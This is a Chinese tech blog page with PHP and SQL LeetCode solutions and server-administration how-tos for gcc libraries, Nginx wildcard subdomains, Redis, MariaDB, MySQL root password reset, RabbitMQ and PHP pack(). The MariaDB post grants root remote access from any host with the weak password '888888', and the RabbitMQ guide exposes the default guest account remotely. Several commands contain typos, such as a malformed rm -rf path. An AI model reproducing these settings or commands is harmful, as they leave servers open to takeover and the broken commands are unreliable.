e攻城狮

  • 首页

  • 随笔

  • 分类

  • 瞎折腾

  • 搜索

LeetCode练习

发表于 2019-04-01

本文记录LeetCode练习。

算法

两数之和

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Solution {

/**
* @param Integer[] $nums
* @param Integer $target
* @return Integer[]
*/
function twoSum($nums, $target) {
if(is_array($nums)){
foreach($nums as $k1=>$v){
$offset = $target-$v;
$k2 = array_search($offset,$nums);
if(false !== $k2 && $k1!=$k2){
return [$k1,$k2];
}
}
}
return [];
}
}

两数相加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
* Definition for a singly-linked list.
* class ListNode {
* public $val = 0;
* public $next = null;
* function __construct($val) { $this->val = $val; }
* }
*/
class Solution {

/**
* @param ListNode $l1
* @param ListNode $l2
* @return ListNode
*/
function addTwoNumbers($l1, $l2) {

$node = new ListNode(0);

$out = 0;// 上一次进位

$header = $node;// 头结点

while($l1 || $l2){

$x = $l1->val ?? 0;

$y = $l2->val ?? 0;

$sum = $x + $y + $out;

$val = intval($sum % 10);

// 下一次进位
$out = intval($sum / 10);

// 构建下一个结点
$node->next = new ListNode($val);

// 指针移到下一个结点
$node = $node->next;

$l1 = $l1->next ?? null;
$l2 = $l2->next ?? null;
}
// 最后一个计算溢位
if($out > 0){
$node->next = new ListNode($out);
}

return $header->next;
}
}

最大数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution { 
/**
* @param Integer[] $nums
* @return String
*/
function largestNumber($nums) {

if (!is_array($nums)) return '';
$len = count($nums);
for ($i = 0; $i < $len; $i++) {
for ($j = $i + 1; $j < $len; $j++) {

if ( $nums[$i] . $nums[$j] < $nums[$j] . $nums[$i] ) {

$_tmp = $nums[$i];
$nums[$i] = $nums[$j];
$nums[$j] = $_tmp;

}
}
}
$ret = implode($nums);
return empty($ret[0]) ? '0' : $ret;
}
}

无重复字符的最长子串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class Solution {

/**
* @param String $s
* @return Integer
*/
function lengthOfLongestSubstring($s) {

$len = strlen($s);

$p = 0;

$_tmp = "";

$max = 0;

while($p < $len){

$target = $s[$p];

$pos = strpos($_tmp,$target);

if (false !== $pos) {

$c = strlen($_tmp);

$t = $pos;

$_tmp = substr($_tmp, $t-$c+1,$c-$t-1);
}

$_tmp .= $target;

$c = strlen($_tmp);

if( $c > $max ) {
$max = $c;
}
$p++;
}
return $max;
}
}

寻找两个有序数组的中位数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class Solution {

/**
* @param Integer[] $nums1
* @param Integer[] $nums2
* @return Float
*/
function findMedianSortedArrays($nums1, $nums2) {

// define recursive function
$recursive = function (array $nums1, int $i, array $nums2, int $j, int $k) use (&$recursive) {
if (!isset($nums1[$i]))
return $nums2[$j + $k - 1];//nums1为空数组
if (!isset($nums2[$j]))
return $nums1[$i + $k - 1];//nums2为空数组
if ($k == 1)// 最后一次递归
return min($nums1[$i], $nums2[$j]);

$k2 = intval($k / 2);

$midVal1 = $nums1[$i + $k2 - 1] ?? PHP_INT_MAX;
$midVal2 = $nums2[$j + $k2 - 1] ?? PHP_INT_MAX;

if ($midVal1 < $midVal2) {
return $recursive($nums1, $i + $k2, $nums2, $j, $k - $k2);
} else {
return $recursive($nums1, $i, $nums2, $j + $k2, $k - $k2);
}
};

// calc
$len = count($nums1) + count($nums2);
$left = $recursive($nums1, 0, $nums2, 0, intval($len + 1) / 2);
$right = $recursive($nums1, 0, $nums2, 0, intval($len + 2) / 2);
return ($left + $right) / 2.0;
}

}

最长回文子串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Solution { 
/**
* @param String $s
* @return String
*/
function longestPalindrome($str) {
$len = strlen($str);
$hlen = 1;
$start = 0;
for ($i = 0; $i < $len; $i++) {
$l = $h = $i;
// 下面两个while只可能有一个执行
while ($h < $len - 1 && $str[$l] == $str[$h + 1]) {// 非中心对称
$h++;
}
while (
$l > 0 && $h < $len - 1 // 边界
&& $str[$l - 1] == $str[$h + 1]// 中心对称
) {
$l--;
$h++;
}
$max = $h - $l + 1;
if ($hlen < $max) {
$hlen = $max;
$start = $l;
}
}
return substr($str, $start, $hlen);
}
}

Z 字形变换

思路分析:

以 row = 5 为例,

1
2
3
4
5
1       9        17        25          33
2 8 10 16 18 24 26 32 34
3 7 11 15 19 23 27 31 35
4 6 12 14 20 22 28 30 36
5 13 21 29 37

取出竖列

k(第K行)\i(第i列) 1 2 3 4 5
1 1 9 17 25 33
2 2 10 18 26 34
3 3 11 19 27 35
4 4 12 20 28 36
5 5 13 21 29 37

可以得到竖列取值的规律:

  • 当 row != 1 时, m = k+2(i-1)(n-1),
  • 当 row = 1 时, m = i.

其中 k : 层级, i : 列数,n : 行数, m:对应竖列上的值

分析每个数列中间值关系

i k ans
2 1 m+8
2 2 m+6
2 3 m+4
2 4 m+2
2 5 m+0
* * *
i’ n m+2(n-k) 中间值ans看着像和i是无关的,事实上是有关的,别忘了m的取值

得出结论,中间值的规律:

  • ans = m+2(n-k)

算法实现如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Solution
{
function convert($str, $n)
{
$k = 1;
$tmp = '';
if ($n == 1) {
$tmp = $str;
} else {
$strlen = strlen($str);
while ($k <= $n) {
$i = 1;
$f = $n - $k;
while ($i <= $strlen) {
$m = $k + 2 * ($i - 1) * ($n - 1);
$ans = $m + 2 * $f;
if (empty($str[$m - 1]))
break;
$tmp .= $str[$m - 1];
if ($f > 0 && $f < $n - 1 && !empty($str[$ans - 1])) {
$tmp .= $str[$ans - 1];
}
$i++;

}
$k++;
}
}
return $tmp;
}
}

整数反转

法一: 栈思想

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Solution {

/**
* @param Integer $x
* @return Integer
*/
function reverse($x)
{
$rev = 0;
$max = (1 << 31) - 1;// 最大值
$min = -1 << 31;// 最小值
if ($x > $max || $x < $min) return 0;// 参数是否超出
while ($x != 0) {

$pop = $x % 10; // 取最后一位数

$x = intval($x / 10);// 降位

// 越界判断
if ($rev > $max / 10 || ($rev == $max / 10 && $pop > $max % 10)) return 0; // 正数
if ($rev < $min / 10 || ($rev == $min / 10 && $pop < $min % 10)) return 0; // 负数

// 逆序升位
$rev = $rev * 10 + $pop;
}
return $rev;
}

}

法二: 字符串反转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
class Solution {

/**
* @param Integer $x
* @return Integer
*/
function reverse($x)
{
$max = (1 << 31) - 1;// 最大值
$min = -1 << 31;// 最小值

if ($x > $max || $x < $min) return 0;// 参数是否超出

$is_negative = $x < 0 ? true : false; // 正负判断

$x = $is_negative ? -$x : $x; // 转成整数

$x = '' . $x; // 转换成字符串

$rev_str = $is_negative? '-' : '' ; // 保留符号

for ($len = strlen($x), $i = $len - 1; $i >= 0; $i--) { // 逆转字符
$rev_str .= $x[$i];
}

// 判断是否越界输出
return -1 == $this->int_str_compare($rev_str, $is_negative ? $min : $max) ? intval($rev_str) : 0;
}

//
// 数字字符串大小比较( 虽然 -1 > -2,但是此处不考虑负数,所以 -1 < -2)
//
// -1 表示 str1 < str2
// 0 表示 str1 = str2
// 1 表示 str1 > str2
//
function int_str_compare($str1, $str2)
{
$len1 = strlen($str1 = '' . $str1);
$len2 = strlen($str2 = '' . $str2);

// 长度对齐
if ($len1 > $len2) {
$str2 = str_pad($str2, $len1, '0', STR_PAD_LEFT);
} else {
$str1 = str_pad($str1, $len2, '0', STR_PAD_LEFT);
}

$compare = 0;// 大小比较
for ($i = 0, $len = strlen($str1); $i < $len; $i++) {
$f = intval($str1[$i]) - intval($str2[$i]); // 数字的每一位长度肯定不会超出0-9的范围,所以肯定不会超出
if ($f > 0) {
$compare = 1;
break;// 有一个比它大就全部比它大
} elseif ($f < 0) {
$compare = -1;
break;// 有一个比它小就全部比它小
} else {
$compare = 0;// 相等的话就继续比较下一位,直到最后以为相等才能说明str1等于str2
}
}
return $compare;
}
}

SQL架构

第二高的薪水

1
select (select distinct(Salary) from Employee order by Salary DESC limit 1 offset 1) as SecondHighestSalary

第N高的薪水

1
2
3
4
5
6
7
CREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT
BEGIN
SET N=N-1;
RETURN (
select (select distinct(Salary) from Employee order by Salary DESC limit 1 offset N) as getNthHighestSalary
);
END

分数排名

1
SELECT a.Score,(select count(distinct(b.Score)) from Scores as b where b.Score>a.Score)+1 as Rank FROM Scores as a ORDER BY Score DESC

连续出现的数字

1
2
3
4
5
6
7
8
9
10
select distinct Num as ConsecutiveNums
from (
select Num,
case
when @prev = Num then @count := @count + 1
when (@prev := Num) is not null then @count := 1
end as CNT
from Logs, (select @prev := null,@count := null) as t
) as temp
where temp.CNT >= 3

不懂自定义变量的同学可以参考mysql中的用户变量

解决类似 /usr/lib64/libstdc++.so.6:version `GLIBCXX_3.4.21' not found 的问题

发表于 2019-03-26 分类于 服务器运维

源码编译升级安装了gcc后,编译程序或运行其它程序时,有时会出现类似/usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.21’ not found的问题。这是因为升级gcc时,生成的动态库没有替换老版本gcc的动态库导致的,将gcc最新版本的动态库替换系统中老版本的动态库即可解决。

问题原因分析

为了安装最新版本的Node.js(最新版本的Node.js使用了C++ 11中,而C++ 11需要code>gcc 4.8+才能支持),将gcc升级到了当前最新版本v 5.2.0。升级后,成功编译安装了新版本的Node.js(v 4.2.1),但运行时程序时出现了以下错误:

1
2
3
4
5
node: /usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.21' not found (required by node)

node: /usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.15' not found (required by node)

node: /usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.20' not found (required by node)

运行以下命令检查动态库:

1
strings /usr/lib64/libstdc++.so.6 | grep GLIBC

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
GLIBCXX_3.4

GLIBCXX_3.4.1

GLIBCXX_3.4.2

GLIBCXX_3.4.3

GLIBCXX_3.4.4

GLIBCXX_3.4.5

GLIBCXX_3.4.6

GLIBCXX_3.4.7

GLIBCXX_3.4.8

GLIBCXX_3.4.9

GLIBCXX_3.4.10

GLIBCXX_3.4.11

GLIBCXX_3.4.12

GLIBCXX_3.4.13

GLIBCXX_FORCE_NEW

GLIBCXX_DEBUG_MESSAGE_LENGTH

从以上输出可以看出,gcc的动态库还是旧版本的。说明出现这些问题,是因为升级gcc时,生成的动态库没有替换老版本gcc的动态库。

问题处理

执行以下命令,查找编译gcc时生成的最新动态库:

1
find / -name "libstdc++.so*"

输出如下:

1
2
3
4
5
6
7
/home/gcc-5.2.0/gcc-temp/stage1-x86_64-unknown-linux-gnu/libstdc++-v3/src/.libs/libstdc++.so

/home/gcc-5.2.0/gcc-temp/stage1-x86_64-unknown-linux-gnu/libstdc++-v3/src/.libs/libstdc++.so.6

/home/gcc-5.2.0/gcc-temp/stage1-x86_64-unknown-linux-gnu/libstdc++-v3/src/.libs/libstdc++.so.6.0.21 // 最新动态库

/home/gcc-5.2.0/gcc-temp是升级gcc时的输出目录。

将上面的最新动态库libstdc++.so.6.0.21复制到/usr/lib64目录下:

1
cp   path/libstdc++.so.6.0.21      /usr/lib64

复制后,修改系统默认动态库的指向,即:重建默认库的软连接。

切换工作目录至/usr/lib64:

1
cd /usr/lib64

删除原来软连接:

1
rm -rf libstdc++.so.6

将默认库的软连接指向最新动态库:

1
ln -s libstdc++.so.6.0.21 libstdc++.so.6

默认动态库升级完成。重新运行以下命令检查动态库:

1
strings /usr/lib64/libstdc++.so.6 | grep GLIBC

现在输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
GLIBCXX_3.4

GLIBCXX_3.4.1

GLIBCXX_3.4.2

GLIBCXX_3.4.3

GLIBCXX_3.4.4

GLIBCXX_3.4.5

GLIBCXX_3.4.6

GLIBCXX_3.4.7

GLIBCXX_3.4.8

GLIBCXX_3.4.9

GLIBCXX_3.4.10

GLIBCXX_3.4.11

GLIBCXX_3.4.12

GLIBCXX_3.4.13

GLIBCXX_3.4.14

GLIBCXX_3.4.15

GLIBCXX_3.4.16

GLIBCXX_3.4.17

GLIBCXX_3.4.18

GLIBCXX_3.4.19

GLIBCXX_3.4.20

GLIBCXX_3.4.21

GLIBC_2.3

GLIBC_2.2.5

GLIBC_2.3.2

GLIBCXX_FORCE_NEWGLIBCXX_DEBUG_MESSAGE_LENGTH

如何创建泛域名

发表于 2019-03-12 分类于 服务器运维

在域名管理处做一个泛解析 .domain.com 指向服务器的ip, 然后在Nginx配置文件里面增加配置,这个配置还可以制作多级域名,例如.demo.domain.com.

例子: web主目录下创建一个test的文件夹自动生成一个叫test.domain.com 的网址.

WEB_ROOT : /data/www

HOST: domain.com

*NGINX配置代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
server {

listen 80;

server_name ~^(?<subdomain>.+)\.domain\.com$;

root /web/data/www/$subdomain;

index index.php index.html index.htm;

location / {

fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;

if (!-e $request_filename) {

rewrite ^(.*)$ /index.php?s=$1/ last;

break;

}

}

location ~ .*\.php(\/.*)*$ {

fastcgi_pass unix:/tmp/php-cgi.sock;

fastcgi_index index.php;

include fastcgi.conf;

}
}

Centos7 Redis自启动报错

发表于 2019-03-11 分类于 服务器运维

错误日志如下

systemctl status redis.service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
● redis.service - Redis persistent key-value database

Loaded: loaded (/usr/lib/systemd/system/redis.service; enabled; vendor preset: disabled)

Drop-In: /etc/systemd/system/redis.service.d

└─limit.conf

Active: failed (Result: exit-code) since Mon 2019-03-11 16:59:42 CST; 10s ago

Process: 5711 ExecStop=/usr/libexec/redis-shutdown (code=exited, status=1/FAILURE)

Process: 5709 ExecStart=/usr/bin/redis-server /etc/redis.conf --supervised systemd (code=exited, status=1/FAILURE)

Main PID: 5709 (code=exited, status=1/FAILURE)

Mar 11 16:59:42 iZj6c6ncdtlrfnzsy28pyiZ systemd[1]: Starting Redis persistent key-value database...

Mar 11 16:59:42 iZj6c6ncdtlrfnzsy28pyiZ systemd[1]: redis.service: main process exited, code=exited, status=1/FAILURE

Mar 11 16:59:42 iZj6c6ncdtlrfnzsy28pyiZ redis-shutdown[5711]: Could not connect to Redis at 127.0.0.1:6379: Connection refused

Mar 11 16:59:42 iZj6c6ncdtlrfnzsy28pyiZ systemd[1]: redis.service: control process exited, code=exited status=1

Mar 11 16:59:42 iZj6c6ncdtlrfnzsy28pyiZ systemd[1]: Failed to start Redis persistent key-value database.

Mar 11 16:59:42 iZj6c6ncdtlrfnzsy28pyiZ systemd[1]: Unit redis.service entered failed state.

Mar 11 16:59:42 iZj6c6ncdtlrfnzsy28pyiZ systemd[1]: redis.service failed.

查错

cat /lib/systemd/system/redis.service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

//显示

[Unit]

Description=Redis persistent key-value database

After=network.target

[Service]

ExecStart=/usr/bin/redis-server /etc/redis.conf --supervised systemd

ExecStop=/usr/libexec/redis-shutdown

Type=notify

User=redis

Group=redis

RuntimeDirectory=redis

RuntimeDirectoryMode=0755

[Install]

WantedBy=multi-user.target

说明这个服务系统启动后是redis组的,所以改文件权限为redis组即可

解决方案

chown redis:redis /var/log/redis/redis.log

centos7 MariaDB 升级到最新版本

发表于 2019-03-04 分类于 数据库

1.创建/etc/yum.repos.d/MariaDB.repo文件, 下面以 10.0 版为例

1
2
3
4
5
6
7
8
9
[mariadb]

name = MariaDB

baseurl = http://yum.mariadb.org/10.0/centos6-amd64/

gpgkey = https://yum.mariadb.org/RPM-GPG-KEY-MariaDB

gpgcheck = 1

2.关闭并卸载旧版本的mariadb,安装新版本的mariadb。

1
2
3
4
5
6
7
systemctl stop mariadb

yum remove mariadb-server mariadb mariadb-libs

yum clean all

yum install MariaDB-server MariaDB-client

3.自定义数据目录和服务端口,移除默认的数据目录,创建新的数据目录。

1
2
3
rm -rf /var/lib[mysql

mkdir /var/data/db/mariadb

4.修改配置文件/etc/my.cnf.d/mysql-clients.cnf,重点是[client],其他的可以参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[client]

port = 3307

socket = /var/data/db/mariadb/mysql.sock

[mysql]

no-auto-rehash

[mysqldump]

quick

max_allowed_packet = 64M

[myisamchk]

key_buffer_size = 128M

sort_buffer_size = 128M

read_buffer = 2M

write_buffer = 2M

[mysqlhotcopy]

interactive-timeout

5.修改配置文件/etc/my.cnf.d/server.cnf,这里的性能参数来自my-large.ini文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[mysqld]

port = 3307

datadir = /var/data/db/mariadb

socket = /var/data/db/mariadb/mysql.sock

skip-external-locking

key_buffer_size = 256M

max_allowed_packet = 64M

table_open_cache = 256

sort_buffer_size = 1M

read_buffer_size = 1M

read_rnd_buffer_size = 4M

myisam_sort_buffer_size = 64M

thread_cache_size = 8

query_cache_size= 16M

thread_concurrency = 8

log-bin=mysql-bin

binlog_format=mixed

server-id = 1

6.初始化数据

1
mysql_install_db --defaults-file=/etc/my.cnf --datadir=/var/data/db/mariadb/ --user=mysql

7.启动服务

1
systemctl restart mysql

8.设置ROOT密码

1
mysqladmin -u root password "8888888"

9.登陆mysql

1
mysql -uroot -p

10.授权root远程登录

root可从任何IP登陆,注意修改密码:’888888’

1
2
3
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '888888' WITH GRANT OPTION;

mysql>FLUSH RIVILEGES;

root可从指定IP登陆,注意修改密码:’888888’、IP:’192.168.1.188’

1
2
3
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.188' IDENTIFIED BY '888888' WITH GRANT OPTION;

mysql>FLUSH RIVILEGES;

CentOS下MySQL忘记root密码解决方法

发表于 2019-02-28 分类于 数据库

1.首先确认服务器出于安全的状态,也就是没有人能够任意地连接MySQL数据库。 因为在重新设置MySQL的root密码的期间,MySQL数据库完全出于没有密码保护的 状态下,其他的用户也可以任意地登录和修改MySQL的信息。可以采用将MySQL对 外的端口封闭,并且停止Apache以及所有的用户进程的方法实现服务器的准安全 状态。最安全的状态是到服务器的Console上面操作,并且拔掉网线。

2.修改MySQL的登录设置:

1
# vim /etc/my.cnf

在[mysqld]的段中加上一句:skip-grant-tables

例如:

1
2
3
4
5
6
7
[mysqld]

datadir=/var/lib/mysql

socket=/var/lib/mysql/mysql.sock

skip-grant-tables

保存并且退出vi。

3.重新启动mysqld

1
2
3
4
5
# service mysqld restart

Stopping MySQL: [ OK ]

Starting MySQL: [ OK ]

4.登录并修改MySQL的root密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# mysql

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 3 to server version: 3.23.56

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> USE mysql ;

Database changed

mysql> UPDATE user SET Password = password ( 'new-password' ) WHERE User = 'root' ;

Query OK, 0 rows affected (0.00 sec)

Rows matched: 2 Changed: 0 Warnings: 0

mysql> flush privileges ;

Query OK, 0 rows affected (0.01 sec)

mysql> quit

5.将MySQL的登录设置修改回来

1
# vim /etc/my.cnf

将刚才在[mysqld]的段中加上的skip-grant-tables删除

保存并且退出vim

6.重新启动mysqld

1
2
3
4
5
# service mysqld restart

Stopping MySQL: [ OK ]

Starting MySQL: [ OK ]

RabbitMQ快速上手教程

发表于 2019-02-16 分类于 中间件

WINDOWS系统

1、安装Erlang语言开发包

  • 下载地址:传送门

  • 配置环境变量 ERLANG_HOME C:\Program Files (x86)\erl5.9 (即erl安装位置)

  • 添加到PATH %ERLANG_HOME%\bin;

2、安装RabbitMQ

提示:中文路径名将会安装失败

  • 下载安装RabbitMQ,下载地址:传送门

  • 配置环境变量 RABBITMQ_SERVER C:\Program Files (x86)\RabbitMQ Server\rabbitmq_server-2.8.0 (即rabbitmq_server安装位置)

  • 添加到PATH %RABBITMQ_SERVER%\sbin;

  • 然后到dos(命令提示符)里面切换到RabbitMQ目录下,执行 rabbitmq-plugins.bat enable rabbitmq_management,

  • 执行完成之后以管理员身份启动 rabbitmq:依次输入命令:

1
2
3
4
5
rabbitmq-service.bat stop

rabbitmq-service.bat install

rabbitmq-service.bat start
  • 然后,浏览器中输入:127.0.0.1:15672,用户名密码是guest ,如果能登陆就说明安装成功

Manage

  • 到此 RabbitMQ 已经安装完成,接下来针对php安装扩展(非php技术栈可跳过)

3、安装php的amqp扩展

  • 根据phpinfo()的信息去下载相应的amqp扩展DLL版本: 传送门

  • 将压缩包中php_amqp.dll复制到php/ext目录下

  • 然后在php.ini中添加如下代码:

1
2
3
[amqp]

extension=php_amqp.dll
  • 再将压缩包中rabbitmq.1.dll复制到php根目录C:/wampserver/php/(目录和下面配置目录保持一致即可)

  • 然后修改apache配置文件httpd.conf,添加如下代码:

1
2
3
# rabbitmq

LoadFile "C:/wampserver/php/rabbitmq.1.dll"
  • 最后重启服务器. phpinfo() 出现下图说明安装成功:

amqp

Linux系统

1、安装rabbitmq

1
2
3
a) 进入rabbitmq文件的存放目录

b) rpm -ivh rabbitmq-server-3.5.4-1.noarch.rpm

2、修改配置

1
2
3
cd /etc/rabbitmq

cd /usr/share/doc/rabbitmq-server-3.5.4

拷贝

1
cp rabbitmq.config.example /etc/rabbitmq/rabbitmq.config

进入到拷贝的rabbitmq.config目录

修改配置

1
vim rabbitmq.config

修改 {loopback_users, []} 把注释和后面的逗号去掉;

3、启动服务(在etc/rabbitmq目录下执行)

1
service rabbitmq-server start

4、设置开机启动

1
chkconfig rabbitmq-server on

5、开启控制台管理插件

1
rabbitmq-plugins enable rabbitmq_management

6、网页打开

1
http://localhost:15672  默认用户名密码:guest/guest

7、打开端口(程序访问端口5672)

1
2
3
/sbin/iptables -I INPUT -p tcp --dport 15672 -j ACCEPT

/sbin/iptables -I INPUT -p tcp --dport 5672 -j ACCEPT

保存

1
/etc/rc.d/init.d/iptables save

查看端口打开

1
/etc/init.d/iptables status

测试DEMO

安装amqplib扩展 compose.json

1
2
3
4
5
{
"require": {
"php-amqplib/php-amqplib": ">=2.6.1"
}
}

send.php 生产端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

require_once __DIR__ . '/vendor/autoload.php';

use PhpAmqpLib\Connection\AMQPStreamConnection;

use PhpAmqpLib\Message\AMQPMessage;

$connection = new AMQPStreamConnection('locahost', 5672, 'root', 'root'); // 注意此处有账号权限限制

$channel = $connection->channel();

$channel->queue_declare('hello', false, false, false, false);

$msg = new AMQPMessage('Hello World!');

$channel->basic_publish($msg, '', 'hello');

echo " [x] Sent 'Hello World!'\n";

$channel->close();

$connection->close();

receive.php 消费端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php

require_once __DIR__ . '/vendor/autoload.php';

use PhpAmqpLib\Connection\AMQPStreamConnection;

$connection = new AMQPStreamConnection('localhost', 5672, 'root', 'root');

$channel = $connection->channel();

$channel->queue_declare('hello', false, false, false, false);

echo " [*] Waiting for messages. To exit press CTRL+C\n";

$callback = function ($msg) {

echo ' [x] Received ', $msg->body, "\n";

};

$channel->basic_consume('hello', '', false, true, false, false, $callback);

while (count($channel->callbacks)) {

$channel->wait();
}

$channel->close();

$connection->close();

pack函数分析

发表于 2019-02-14 分类于 PHP

本文介绍的是通过二进制数据包的方式通信,演示语言为PHP和Golang。PHP提供了pack/unpack函数来进行二进制打包和二进制解包。在具体讲解之前,我们先来了解一些基础知识。

什么是字节序

在不同的计算机体系结构中,对于数据(比特、字节、字)等的存储和传输机制有所不同,因而引发了计算机领域中一个潜在但是又很重要的问题,即通信双方交流的信息单元应该以什么样的顺序进行传送。如果达不成一致的规则,计算机的通信与存储将会无法进行。目前在各种体系的计算机中通常采用的字节存储机制主要有两种:大端(Big-endian)和小端(Little-endian)。这里所说的大端和小端即是字节序。

MSB和LSB
  • MSB是Most Significant Bit/Byte的首字母缩写,通常译为最重要的位或最重要的字节。它通常用来表示在一个bit序列(如一个byte是8个bit组成的一个序列)或一个byte序列(如word是两个byte组成的一个序列)中对整个序列取值影响最大的那个bit/byte。

  • LSB是Least Significant Bit/Byte的首字母缩写,通常译为最不重要的位或最不重要的字节。它通常用来表明在一个bit序列(如一个byte是8个bit组成的一个序列)或一个byte序列(如word是两个byte组成的一个序列)中对整个序列取值影响最小的那个bit/byte。

  • 对于一个十六进制int类型整数0x12345678来说,0x12就是MSB,0x78就是LSB。而对于0x78这个字节而言,它的二进制是01111000,那么最左边的那个0就是MSB,最右边的那个0就是LSB。

大端序
  • 大端序又叫网络字节序。大端序规定高位字节在存储时放在低地址上,在传输时高位字节放在流的开始;低位字节在存储时放在高地址上,在传输时低位字节放在流的末尾。
小端序
  • 小端序规定高位字节在存储时放在高地址上,在传输时高位字节放在流的末尾;低位字节在存储时放在低地址上,在传输时低位字节放在流的开始。
网络字节序
  • 网络字节序是指大端序。TCP/IP都是采用网络字节序的方式,java也是使用大端序方式存储。
主机字节序
  • 主机字节序代表本机的字节序。一般是小端序,但也有一些是大端序。

  • 主机字节序用在协议描述中则是指小端序。

总结

字节序只针对于多字节类型的数据。比如对于int类型整数0x12345678,它占有4个字节的存储空间,存储方式有大端(0x12, 0x34, 0x56, 0x78)和小端(0x78, 0x56, 0x34, 0x12)两种。可以看到,在大端或小端的存储方式中,是以字节为单位的。所以对于单字节类型的数据,不存在字节序这个说法。

pack/unpack详解

PHP pack函数用于将其它进制的数字压缩到位字符串之中。也就是把其它进制数字转化为ASCII码字符串。

pack() format characters

格式字符翻译
代码 描述
a 将字符串空白以 NULL 字符填满
A 将字符串空白以 SPACE 字符 (空格) 填满
h 16进制字符串,低位在前以半字节为单位
H 16进制字符串,高位在前以半字节为单位
c 有符号字符
C 无符号字符
s 有符号短整数 (16位,主机字节序)
S 无符号短整数 (16位,主机字节序)
n 无符号短整数 (16位, 大端字节序)
v 无符号短整数 (16位, 小端字节序)
i 有符号整数 (依赖机器大小及字节序)
I 无符号整数 (依赖机器大小及字节序)
l 有符号长整数 (32位,主机字节序)
L 无符号长整数 (32位,主机字节序)
N 无符号长整数 (32位, 大端字节序)
V 无符号长整数 (32位, 小端字节序)
f 单精度浮点数 (依计算机的范围)
d 双精度浮点数 (依计算机的范围)
x 空字节
X 倒回一位
@ 填入 NULL 字符到绝对位置
格式字符详解
  • pack/unpack允许使用修饰符-和数字,紧跟在格式字符之后,用于指定该格式的个数;

  • a和A都是用来打包字符串的,它们的唯一区别就是当小于定长时的填充方式。a以NULL填充,NULL事实上是’\0’的表示,代表空字节,8个位上全是0。A以空格填充,空格也即ASCII码为32的字符。这里有一个关于填充的使用场景的例子:请求登录的数据包规定用户名不超过20个字节,密码经过md5加密后是固定的32个字节。用户名就是变长的,为了便于服务器端读取和处理,通常会填充成定长。当然,这只是使用的方式之一,事实上还可以用变长的方式传递数据包,但这不在本文的探讨范围内。字符串有一点麻烦的是编码问题,尤其是在跟不同的平台通信时更为突出。比如在用pack进行打包字符串时,事实上是将字符内部的编码打包进去。单字节字符就没有问题,因为单字节在所有平台上都是一致的。

来看个例子(pack.php):

1
2
3
4
5
<?php

$bin = pack("a", "d");
echo "output: " . $bin . "\n";
echo "output: 0x" . bin2hex($bin) . "\n";
1
2
$ php -f pack.phpoutput: d
output: 0x64

$bin是返回的二进制字符,你可以直接输出它,PHP知道如何处理。通过bin2hex方法将$bin转换成十六进制可以知道,十六进制0x64表示的是字符d。对于中文字符(多字节字符)来说,通常有GBK编码、BIG5编码以及UTF8编码等。比如在GBK编码中,一个中文字符采用2个字节来表示;在UTF8编码中,一个中文字符采用3个字节来表示。这通常需要协商采用统一的编码,否则会由于内部的表示不一致导致无法处理。在PHP中只要将文件保存为特定的编码格即可,其它语言可能跟操作系统相关,因此或许需要编码转换。本文的例子一概基于UTF8编码。

继续来看个例子:

1
2
3
4
5
<?php
$bin = pack("a3", "中");
echo "output: 0x" . bin2hex($bin) . "\n";
echo "output: " . chr(0xe4) . chr(0xb8) . chr(0xad) . "\n";
echo "output: " . $bin{0} . $bin{1} . $bin{2} . "\n";
1
2
3
4
$ php -f pack.php
output: 0xe4b8ad
output: 中
output: 中

